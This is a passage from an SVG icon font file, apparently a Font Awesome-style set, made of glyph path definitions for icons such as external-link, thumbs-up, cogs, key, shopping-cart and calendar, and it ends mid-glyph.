<glyph unicode="&#xf08e;" d="M 352,152l0-80 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,80  q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,368l0-128 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-44,44l-163-163q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 163,163l-44,44q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="external-link, blank, out, popout" />
<glyph unicode="&#xf08d;" d="M 120,168l0,112 q0,3.5 -2.25,5.75t-5.75,2.25t-5.75-2.25t-2.25-5.75l0-112 q0-3.5 2.25-5.75t 5.75-2.25t 5.75,2.25t 2.25,5.75zM 288,80q0-6.5 -4.75-11.25t-11.25-4.75l-107.25,0 l-12.75-120.75q-0.5-3 -2.625-5.125t-5.125-2.125l-0.25,0 q-6.75,0 -8,6.75l-19,121.25l-101,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,30.75 19.625,55.375t 44.375,24.625l0,128 q-13,0 -22.5,9.5 t-9.5,22.5t 9.5,22.5t 22.5,9.5l 160,0 q 13,0 22.5-9.5t 9.5-22.5t-9.5-22.5t-22.5-9.5l0-128 q 24.75,0 44.375-24.625t 19.625-55.375z" horiz-adv-x="288" data-tags="pushpin, pin, needle" />
<glyph unicode="&#xf08c;" d="M 59.25,30.5l 57.75,0 l0,173.5 l-57.75,0 l0-173.5 zM 120.75,257.5q-0.25,13 -9,21.5t-23.25,8.5t-23.625-8.5t-9.125-21.5q0-12.75 8.875-21.375t 23.125-8.625l 0.25,0 q 14.75,0 23.75,8.625t 9,21.375zM 267,30.5l 57.75,0 l0,99.5 q0,38.5 -18.25,58.25t-48.25,19.75q-34,0 -52.25-29.25l 0.5,0 l0,25.25 l-57.75,0 q 0.75-16.5 0-173.5l 57.75,0 l0,97 q0,9.5 1.75,14q 3.75,8.75 11.25,14.875t 18.5,6.125 q 29,0 29-39.25l0-92.75 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="linkedin-sign, social" />
<glyph unicode="&#xf08b;" d="M 160,24q0-1 0.25-5t 0.125-6.625t-0.75-5.875t-2.5-4.875t-5.125-1.625l-80,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,176 q0,29.75 21.125,50.875t 50.875,21.125l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625q0-1 0.25-5t 0.125-6.625t-0.75-5.875t-2.5-4.875t-5.125-1.625l-80,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-176  q0-16.5 11.75-28.25t 28.25-11.75l 72,0 l 2.75,0 l 3.25,0 t 2.875-0.25t 2.875-0.75t 2-1.375t 1.75-2.25t 0.5-3.375zM 392,160q0-6.5 -4.75-11.25l-136-136q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,72 l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 l0,72 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 136-136q 4.75-4.75 4.75-11.25z" horiz-adv-x="416" data-tags="signout, exit, quit, logout, log out, leave" />
<glyph unicode="&#xf08a;" d="M 416,235q0,20.25 -5.375,35.75t-13.75,24.625t-20.375,14.875t-23.5,7.75t-24.5,2t-28-6.375t-27.625-16t-21.625-18t-15-15.375q-4.5-5.5 -12.25-5.5t-12.25,5.5q-6,7 -15,15.375t-21.625,18t-27.625,16t-28,6.375t-24.5-2t-23.5-7.75t-20.375-14.875t-13.75-24.625t-5.375-35.75q0-42 46.75-88.75l 145.25-140l 145,139.75 q 47,47 47,89zM 448,235q0-55.25 -57.25-112.5l-155.75-150q-4.5-4.5 -11-4.5t-11,4.5l-156,150.5q-2.5,2 -6.875,6.5t-13.875,16.375t-17,24.375t-13.375,30.25t-5.875,34.5q0,55 31.75,86t 87.75,31q 15.5,0 31.625-5.375t 30-14.5t 23.875-17.125t 19-17q 9,9 19,17t 23.875,17.125t 30,14.5t 31.625,5.375 q 56,0 87.75-31t 31.75-86z" data-tags="heart-empty, love, like" />
<glyph unicode="&#xf089;" d="M 208,376l0-334.75 l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25z" horiz-adv-x="224" data-tags="star-half, rating" />
<glyph unicode="&#xf088;" d="M 64,272q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,128q0,8.75 -5.375,20.25t-13.375,11.75q 3.75,4.25 6.25,11.875t 2.5,13.875q0,17.25 -13.25,29.75q 4.5,8 4.5,17.25t-4.375,18.375t-11.875,13.125q 1.25,7.5 1.25,14q0,21.25 -12.25,31.5t-34,10.25l-32,0 q-32.75,0 -85.5-18.25q-1.25-0.5 -7.25-2.625 t-8.875-3.125t-8.75-2.875t-9.5-2.75t-8.25-1.625t-7.875-0.75l-8,0 l0-160 l 8,0 q 4,0 8.875-2.25t 10-6.75t 9.625-8.875t 10-11t 8.625-10.625t 7.875-10.25t 5.75-7.5q 13.75-17 19.25-22.75q 10.25-10.75 14.875-27.375t 7.625-31.375t 9.5-21.25q 24,0 32,11.75t 8,36.25q0,14.75 -12,40.125t-12,39.875l 88,0 q 12.5,0 22.25,9.625t 9.75,22.375z M 384,127.75q0-25.75 -19-44.75t-45-19l-44,0 q 12-24.75 12-48q0-29.5 -8.75-46.5q-8.75-17.25 -25.5-25.375t-37.75-8.125q-12.75,0 -22.5,9.25q-8.5,8.25 -13.5,20.5t-6.375,22.625t-4.375,21.125t-7.75,16q-12,12.5 -26.75,31.75q-25.25,32.75 -34.25,38.75l-68.5,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375 l 72,0 q 5.5,0 34.5,10q 32,11 55.75,16.5t 50,5.5l 28,0 q 35,0 56.625-19.75t 21.375-54l0-1.25 q 15-19.25 15-44.5q0-5.5 -0.75-10.75q 9.5-16.75 9.5-36q0-9 -2.25-17.25q 12.25-18.5 12.25-40.75z" horiz-adv-x="384" data-tags="thumbs-down, dislike" />
<glyph unicode="&#xf087;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,192q0,12.75 -9.75,22.375t-22.25,9.625l-88,0 q0,14.5 12,39.875t 12,40.125q0,24.5 -8,36.25t-32,11.75q-6.5-6.5 -9.5-21.25t-7.625-31.375t-14.875-27.375q-5.5-5.75 -19.25-22.75q-1-1.25 -5.75-7.5t-7.875-10.25t-8.625-10.625 t-10-11t-9.625-8.875t-10-6.75t-8.875-2.25l-8,0 l0-160 l 8,0 q 3.25,0 7.875-0.75t 8.25-1.625t 9.5-2.75t 8.75-2.875t 8.875-3.125t 7.25-2.625q 52.75-18.25 85.5-18.25l 30.25,0 q 48,0 48,41.75q0,6.5 -1.25,14q 7.5,4 11.875,13.125t 4.375,18.375t-4.5,17.25q 13.25,12.5 13.25,29.75q0,6.25 -2.5,13.875t-6.25,11.875q 8,0.25 13.375,11.75t 5.375,20.25zM 384,192.25 q0-22.25 -12.25-40.75q 2.25-8.25 2.25-17.25q0-19.25 -9.5-36q 0.75-5.25 0.75-10.75q0-25.25 -15-44.5q 0.25-34.75 -21.25-54.875t-56.75-20.125l-9,0 l-23.25,0 q-24,0 -47.375,5.625t-54.125,16.375q-29,10 -34.5,10l-72,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375l 68.5,0 q 9,6 34.25,38.75q 14.5,18.75 26.75,32 q 6,6.25 8.875,21.375t 7.625,31.625t 15.5,27q 9.75,9.25 22.5,9.25q 21,0 37.75-8.125t 25.5-25.375t 8.75-46.5q0-23.25 -12-48l 44,0 q 26,0 45-19t 19-44.75z" horiz-adv-x="384" data-tags="thumbs-up, like" />
<glyph unicode="&#xf086;" d="M 352,192q0-34.75 -23.5-64.25t-64.125-46.625t-88.375-17.125q-21.5,0 -44,4q-31-22 -69.5-32q-9-2.25 -21.5-4l-0.75,0 q-2.75,0 -5.125,2t-2.875,5.25q-0.25,0.75 -0.25,1.625t 0.125,1.625t 0.5,1.5l 0.625,1.25t 0.875,1.375t 1,1.25t 1.125,1.25t 1,1.125q 1.25,1.5 5.75,6.25t 6.5,7.375t 5.625,7.25t 6.25,9.625t 5.125,11q-31,18 -48.75,44.25t-17.75,56 q0,34.75 23.5,64.25t 64.125,46.625t 88.375,17.125t 88.375-17.125t 64.125-46.625t 23.5-64.25zM 448,128q0-30 -17.75-56.125t-48.75-44.125q 2.5-6 5.125-11t 6.25-9.625t 5.625-7.25t 6.5-7.375t 5.75-6.25q 0.25-0.25 1-1.125t 1.125-1.25t 1-1.25t 0.875-1.375l 0.625-1.25t 0.5-1.5t 0.125-1.625t-0.25-1.625q-0.75-3.5 -3.25-5.5t-5.5-1.75 q-12.5,1.75 -21.5,4q-38.5,10 -69.5,32q-22.5-4 -44-4q-67.75,0 -118,33q 14.5-1 22-1q 40.25,0 77.25,11.25t 66,32.25q 31.25,23 48,53t 16.75,63.5q0,19.25 -5.75,38q 32.25-17.75 51-44.5t 18.75-57.5z" data-tags="comments, chat, talk, bubbles" />
<glyph unicode="&#xf085;" d="M 224,160q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 416,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5q0-13.25 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 416,288q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5q0-13.25 9.375-22.625t 22.625-9.375 t 22.625,9.375t 9.375,22.625zM 320,182.75l0-46.25 q0-2.5 -1.75-4.875t-4-2.625l-38.75-6q-2.75-8.75 -8-19q 8.5-12 22.5-28.75q 1.75-2.5 1.75-5q0-3 -1.75-4.75q-5.75-7.5 -20.625-22.375t-19.625-14.875q-2.75,0 -5.25,1.75l-28.75,22.5q-9.25-4.75 -19.25-7.75q-2.75-27 -5.75-38.75q-1.75-6 -7.5-6l-46.5,0 q-2.75,0 -5,1.875t-2.5,4.375 l-5.75,38.25q-8.5,2.5 -18.75,7.75l-29.5-22.25q-1.75-1.75 -5-1.75q-2.75,0 -5.25,2q-36,33.25 -36,40q0,2.25 1.75,4.75q 2.5,3.5 10.25,13.25t 11.75,15.25q-5.75,11 -8.75,20.5l-38,6q-2.5,0.25 -4.25,2.375t-1.75,4.875l0,46.25 q0,2.5 1.75,4.875t 4,2.625l 38.75,6q 2.75,8.75 8,19q-8.5,12 -22.5,28.75q-1.75,2.75 -1.75,5q0,3 1.75,5q 5.5,7.5 20.5,22.25t 19.75,14.75q 2.75,0 5.25-1.75 l 28.75-22.5q 8.5,4.5 19.25,8q 2.75,27 5.75,38.5q 1.75,6 7.5,6l 46.5,0 q 2.75,0 5-1.875t 2.5-4.375l 5.75-38.25q 8.5-2.5 18.75-7.75l 29.5,22.25q 2,1.75 5,1.75q 2.75,0 5.25-2q 36-33.25 36-40q0-2.25 -1.75-4.75q-3-4 -10.5-13.5t-11.25-15q 5.75-12 8.5-20.5l 38-5.75q 2.5-0.5 4.25-2.625t 1.75-4.875zM 480,49.5l0-35 q0-4 -37.25-7.75 q-3-6.75 -7.5-13q 12.75-28.25 12.75-34.5q0-1 -1-1.75q-30.5-17.75 -31-17.75q-2,0 -11.5,11.75t-13,17q-5-0.5 -7.5-0.5t-7.5,0.5q-3.5-5.25 -13-17t-11.5-11.75q-0.5,0 -31,17.75q-1,0.75 -1,1.75q0,6.25 12.75,34.5q-4.5,6.25 -7.5,13q-37.25,3.75 -37.25,7.75l0,35 q0,4 37.25,7.75q 3.25,7.25 7.5,13q-12.75,28.25 -12.75,34.5q0,1 1,1.75q 1,0.5 8.75,5 t 14.75,8.5t 7.5,4q 2,0 11.5-11.625t 13-16.875q 5,0.5 7.5,0.5t 7.5-0.5q 12.75,17.75 23,28l 1.5,0.5q 1,0 31-17.5q 1-0.75 1-1.75q0-6.25 -12.75-34.5q 4.25-5.75 7.5-13q 37.25-3.75 37.25-7.75zM 480,305.5l0-35 q0-4 -37.25-7.75q-3-6.75 -7.5-13q 12.75-28.25 12.75-34.5q0-1 -1-1.75q-30.5-17.75 -31-17.75q-2,0 -11.5,11.75t-13,17 q-5-0.5 -7.5-0.5t-7.5,0.5q-3.5-5.25 -13-17t-11.5-11.75q-0.5,0 -31,17.75q-1,0.75 -1,1.75q0,6.25 12.75,34.5q-4.5,6.25 -7.5,13q-37.25,3.75 -37.25,7.75l0,35 q0,4 37.25,7.75q 3.25,7.25 7.5,13q-12.75,28.25 -12.75,34.5q0,1 1,1.75q 1,0.5 8.75,5t 14.75,8.5t 7.5,4q 2,0 11.5-11.625t 13-16.875q 5,0.5 7.5,0.5t 7.5-0.5q 12.75,17.75 23,28l 1.5,0.5q 1,0 31-17.5 q 1-0.75 1-1.75q0-6.25 -12.75-34.5q 4.25-5.75 7.5-13q 37.25-3.75 37.25-7.75z" horiz-adv-x="480" data-tags="cogs, settings, options, preferences, gears" />
<glyph unicode="&#xf084;" d="M 208,256q0,20 -14,34t-34,14t-34-14t-14-34q0-10.5 4.75-20.75q-10.25,4.75 -20.75,4.75q-20,0 -34-14t-14-34t 14-34t 34-14t 34,14t 14,34q0,10.5 -4.75,20.75q 10.25-4.75 20.75-4.75q 20,0 34,14t 14,34zM 420.75,80q0-4.25 -12.25-16.5t-16.5-12.25q-2.25,0 -7.125,4t-9.125,8.25t-9.625,10t-6.125,6.5 l-24-24l 55-55q 7-7 7-17q0-10.5 -9.75-20.25t-20.25-9.75q-10,0 -17,7l-167.75,167.75q-44-32.75 -91.25-32.75q-40.75,0 -66.375,25.625t-25.625,66.375q0,40 23.75,78.25t 62,62t 78.25,23.75q 40.75,0 66.375-25.625t 25.625-66.375q0-47.25 -32.75-91.25l 88.75-88.75l 24,24q-0.75,0.75 -6.5,6.125t-10,9.625t-8.25,9.125 t-4,7.125q0,4.25 12.25,16.5t 16.5,12.25q 3.25,0 5.75-2.5q 1.5-1.5 11.5-11.125t 20.5-19.875t 21.625-21.5t 18.25-19.5t 7.125-10.25z" data-tags="key, unlock, password" />
<glyph unicode="&#xf083;" d="M 232,176q0,3.5 -2.25,5.75t-5.75,2.25q-16.5,0 -28.25-11.75t-11.75-28.25q0-3.5 2.25-5.75t 5.75-2.25t 5.75,2.25t 2.25,5.75q0,10 7,17t 17,7q 3.5,0 5.75,2.25t 2.25,5.75zM 288,143.5q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25zM 32,0l 384,0 l0,32 l-384,0 l0-32 zM 320,143.5q0,39.75 -28.125,67.875 t-67.875,28.125t-67.875-28.125t-28.125-67.875t 28.125-67.875t 67.875-28.125t 67.875,28.125t 28.125,67.875zM 64,304l 96,0 l0,32 l-96,0 l0-32 zM 32,256l 384,0 l0,29.5 l0,34.5 l-207,0 l-16-32l-161,0 l0-32 zM 448,320l0-320 q0-13.25 -9.375-22.625t-22.625-9.375l-384,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,320  q0,13.25 9.375,22.625t 22.625,9.375l 384,0 q 13.25,0 22.625-9.375t 9.375-22.625z" data-tags="camera-retro, image, picture, photo" />
<glyph unicode="&#xf082;" d="M 326.75,154.5l 5.75,54.75l-49.5,0 l0,27.25 q0,12.25 3.875,17.125t 17.875,4.875l 27.5,0 l0,54.75 l-43.75,0 q-38,0 -54.5-18t-16.5-53.25l0-32.75 l-32.75,0 l0-54.75 l 32.75,0 l0-158.75 l 65.5,0 l0,158.75 l 43.75,0 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0  q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="facebook-sign, social" />
<glyph unicode="&#xf081;" d="M 320,231.5q-14-6.25 -30.25-8.5q 17,10 23.25,29.25q-16.25-9.5 -33.5-12.75q-15.25,16.5 -38.25,16.5q-21.75,0 -37.125-15.375t-15.375-37.125q0-7.25 1.25-12q-32.25,1.75 -60.5,16.25t-48,38.75q-7.25-12.5 -7.25-26.5q0-28.5 22.75-43.75q-11.75,0.25 -25,6.5l0-0.5 q0-18.75 12.5-33.375t 30.75-18.125q-7.25-2 -12.75-2q-3.25,0 -9.75,1 q 5.25-15.75 18.625-26t 30.375-10.5q-29-22.5 -65.25-22.5q-6.5,0 -12.5,0.75q 37-23.5 80.5-23.5q 28,0 52.5,8.875t 42,23.75t 30.125,34.25t 18.75,40.5t 6.125,42.125q0,4.5 -0.25,6.75q 15.75,11.25 26.25,27.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875 t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="twitter-sign, social" />
<glyph unicode="&#xf080;" d="M 128,128l0-96 l-64,0 l0,96 l 64,0 zM 224,256l0-224 l-64,0 l0,224 l 64,0 zM 320,192l0-160 l-64,0 l0,160 l 64,0 zM 416,288l0-256 l-64,0 l0,256 l 64,0 zM 448,8l0,304 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-304 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625z M 480,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480" data-tags="bar-chart, chart, graph, plot" />
<glyph unicode="&#xf07e;" d="M 448,160q0-6.5 -4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,32 l-256,0 l0-32 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 l 256,0 l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z" data-tags="resize-horizontal, arrow" />
<glyph unicode="&#xf07d;" d="M 176,304q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 l0-256 l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 32,0 l0,256 l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z" horiz-adv-x="192" data-tags="resize-vertical, arrow" />
<glyph unicode="&#xf07c;" d="M 469.75,146q0-7.75 -7.75-16.5l-84-99q-10.75-12.75 -30.125-21.625t-35.875-8.875l-272,0 q-8.5,0 -15.125,3.25t-6.625,10.75q0,7.75 7.75,16.5l 84,99q 10.75,12.75 30.125,21.625t 35.875,8.875l 272,0 q 8.5,0 15.125-3.25t 6.625-10.75zM 384,232l0-40 l-208,0 q-23.5,0 -49.25-11.875t-41-29.875l-84.25-99l-1.25-1.5q0,1 -0.125,3.125 t-0.125,3.125l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 136,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="480" data-tags="folder-open, category, directory" />
<glyph unicode="&#xf07b;" d="M 416,232l0-176 q0-23 -16.5-39.5t-39.5-16.5l-304,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 168,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="416" data-tags="folder-close, category, directory" />
<glyph unicode="&#xf07a;" d="M 160,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 384,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 416,272l0-128 q0-6 -4-10.625t-10.25-5.375 l-261-30.5q 0.25-1.75 1.125-5.375t 1.5-6.625t 0.625-5.5q0-4 -6-16l 230,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-256,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,3.5 2.75,9.875t 7.375,14.875t 5.125,9.5l-44.25,205.75l-51,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 q 4,0 7.125-1.625t 5-3.875t 3.25-6.125t 1.875-6.625 t 1.375-7.375t 1.125-6.375l 300.25,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="416" data-tags="shopping-cart, cart, ecommerce, store" />
<glyph unicode="&#xf079;" d="M 320,8q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-2,0 -3.375,0.5t-2.25,1.75t-1.375,2t-0.75,2.875t-0.25,2.875l0,3.25 l0,2.75 l0,40 l0,104 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,6 3.75,10.25l 80,96q 4.75,5.5 12.25,5.5t 12.25-5.5l 80-96q 3.75-4.25 3.75-10.25q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-96 l 144,0 q 4,0 6.25-2.75l 40-48q 1.75-2.75 1.75-5.25 zM 480,112q0-6 -3.75-10.25l-80-96q-5-5.75 -12.25-5.75t-12.25,5.75l-80,96q-3.75,4.25 -3.75,10.25q0,6.5 4.75,11.25t 11.25,4.75l 48,0 l0,96 l-144,0 q-4,0 -6.25,3l-40,48q-1.75,2.25 -1.75,5q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 2,0 3.375-0.5t 2.25-1.75t 1.375-2t 0.75-2.875t 0.25-2.875l0-3.25 l0-2.75 l0-40 l0-104 l 48,0 q 6.5,0 11.25-4.75t 4.75-11.25z " horiz-adv-x="480" data-tags="retweet, loop, arrows" />
<glyph unicode="&#xf078;" d="M 402.75,208q0-13.25 -9.25-22.5l-162.75-162.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-162.75,162.75q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 18.5,18.75q 9.75,9.25 22.75,9.25q 13.25,0 22.5-9.25l 121.5-121.5l 121.5,121.5q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 18.75-18.75q 9.25-9.75 9.25-22.75z" horiz-adv-x="416" data-tags="chevron-down, download, bottom" />
<glyph unicode="&#xf077;" d="M 402.75,80q0-13.25 -9.25-22.5l-18.75-18.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-121.5,121.25l-121.5-121.25q-9-9.5 -22.5-9.5t-22.5,9.5l-18.75,18.75q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 162.75,162.75q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 162.5-162.75q 9.5-9.5 9.5-22.75z" horiz-adv-x="416" data-tags="chevron-up, upload, top" />
<glyph unicode="&#xf076;" d="M 384,176l0-32 q0-50.25 -24.625-90.5t-68.5-62.875t-98.875-22.625t-98.875,22.625t-68.5,62.875t-24.625,90.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-13 5.875-22.5t 13.375-14.25t 17.75-7.5t 16-3.25t 11-0.5t 11,0.5t 16,3.25t 17.75,7.5t 13.375,14.25t 5.875,22.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0  q 6.5,0 11.25-4.75t 4.75-11.25zM 128,336l0-96 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,336l0-96 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="magnet" />
<glyph unicode="&#xf075;" d="M 448,160q0-43.5 -30-80.375t-81.5-58.25t-112.5-21.375q-17.5,0 -36.25,2q-49.5-43.75 -115-60.5q-12.25-3.5 -28.5-5.5q-4.25-0.5 -7.625,2.25t-4.375,7.25l0,0.25 q-0.75,1 -0.125,3t 0.5,2.5t 1.125,2.375l 1.5,2.25t 1.75,2.125t 2,2.25q 1.75,2 7.75,8.625t 8.625,9.5t 7.75,9.875t 8.125,12.75t 6.75,14.75t 6.5,19q-39.25,22.25 -61.875,55t-22.625,70.25 q0,32.5 17.75,62.125t 47.75,51.125t 71.5,34.125t 87,12.625q 61,0 112.5-21.375t 81.5-58.25t 30-80.375z" data-tags="comment, bubble, chat, talk" />
<glyph unicode="&#xf074;" d="M 166.5,263.75q-15-23 -34.25-68.25q-5.5,11.25 -9.25,18.125t-10.125,15.875t-12.75,14.125t-15.75,8.75t-20.375,3.625l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 q 62.5,0 102.5-56.25zM 448,64q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q-8,0 -21.25-0.125t-20.25-0.25t-18.25,0.25 t-17.75,1.25t-16,2.625t-15.75,4.625t-14.5,7.125t-14.75,10t-13.75,13.375t-14,17.375q 14.75,23.25 34,68.25q 5.5-11.25 9.25-18.125t 10.125-15.875t 12.75-14.125t 15.75-8.75t 20.375-3.625l 64,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75zM 448,288q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625 l0,48 l-64,0 q-12,0 -21.75-3.75t-17.25-11.25t-12.75-15.375t-11.25-19.375q-8-15.5 -19.5-42.75q-7.25-16.5 -12.375-27.75t-13.5-26.25t-16-25t-18.5-20.75t-22.5-17.125t-26.625-10.5t-32-4.125l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 q 12,0 21.75,3.75t 17.25,11.25t 12.75,15.375t 11.25,19.375q 8,15.5 19.5,42.75q 7.25,16.5 12.375,27.75 t 13.5,26.25t 16,25t 18.5,20.75t 22.5,17.125t 26.625,10.5t 32,4.125l 64,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75z" data-tags="random, shuffle, order, media, control" />
<glyph unicode="&#xf073;" d="M 32-32l 72,0 l0,72 l-72,0 l0-72 zM 120-32l 80,0 l0,72 l-80,0 l0-72 zM 32,56l 72,0 l0,80 l-72,0 l0-80 zM 120,56l 80,0 l0,80 l-80,0 l0-80 zM 32,152l 72,0 l0,72 l-72,0 l0-72 zM 216-32l 80,0 l0,72 l-80,0 l0-72 zM 120,152l 80,0 l0,72 l-80,0 l0-72 zM 312-32l 72,0 l0,72 l-72,0 l0-72 zM 216,56l 80,0 l0,80 l-80,0 l0-80 z M 128,272l0,72 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-72 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 312,56l 72,0 l0,80 l-72,0 l0-80 zM 216,152l 80,0 l0,72 l-80,0 l0-72 zM 312,152l 72,0 l0,72 l-72,0 l0-72 zM 320,272l0,72 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0  q-3.25,0 -5.625-2.375t-2.375-5.625l0-72 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,288l0-320 q0-13 